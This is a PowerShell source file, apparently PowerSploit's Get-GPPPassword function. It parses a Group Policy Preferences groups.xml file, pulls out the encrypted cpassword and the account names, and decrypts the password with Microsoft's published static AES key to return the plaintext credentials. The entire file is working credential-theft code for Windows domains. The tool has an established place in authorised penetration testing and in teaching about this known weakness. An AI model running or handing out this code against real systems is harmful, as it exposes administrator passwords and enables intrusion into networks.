107 lines
3.6 KiB
PowerShell
107 lines
3.6 KiB
PowerShell
function Get-GPPPassword
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
|
|
|
PowerSploit Function: Get-GPPPassword
|
|
Author: Chris Campbell (@obscuresec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
|
|
|
|
.PARAMETER Path
|
|
|
|
The path to the targeted groups.xml file.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-GPPPassword -path c:\demo\groups.xml
|
|
|
|
.LINK
|
|
|
|
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
|
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
|
#>
|
|
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[String]
|
|
$Path = "$PWD\groups.xml"
|
|
)
|
|
|
|
#Function to pull encrypted password string from groups.xml
|
|
function Parse-cPassword {
|
|
|
|
try {
|
|
[xml] $Xml = Get-Content ($Path)
|
|
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
|
|
} catch { Write-Error "No Password Policy Found in File!" }
|
|
|
|
return $Cpassword
|
|
}
|
|
|
|
#Function to look to see if the administrator account is given a newname
|
|
function Parse-NewName {
|
|
|
|
[xml] $Xml = Get-Content ($Path)
|
|
[String] $NewName = $Xml.Groups.User.Properties.newName
|
|
|
|
return $NewName
|
|
}
|
|
|
|
#Function to parse out the Username whose password is being specified
|
|
function Parse-UserName {
|
|
|
|
try {
|
|
[xml] $Xml = Get-Content ($Path)
|
|
[string] $UserName = $Xml.Groups.User.Properties.userName
|
|
} catch { Write-Error "No Username Specified in File!" }
|
|
|
|
return $UserName
|
|
}
|
|
|
|
#Function that decodes and decrypts password
|
|
function Decrypt-Password {
|
|
|
|
try {
|
|
#Append appropriate padding based on string length
|
|
$Pad = "=" * (4 - ($Cpassword.length % 4))
|
|
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
|
|
#Create a new AES .NET Crypto Object
|
|
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
|
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
|
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
|
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
|
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
|
|
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
|
$AesObject.IV = $AesIV
|
|
$AesObject.Key = $AesKey
|
|
$DecryptorObject = $AesObject.CreateDecryptor()
|
|
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
|
|
|
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
|
} catch { Write-Error "Decryption Failed!" }
|
|
|
|
}
|
|
|
|
$Cpassword = Parse-cPassword
|
|
$Password = Decrypt-Password
|
|
$NewName = Parse-NewName
|
|
$UserName = Parse-UserName
|
|
|
|
$Results = New-Object System.Object
|
|
|
|
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
|
|
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
|
|
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
|
|
|
|
return $Results
|
|
|
|
}
|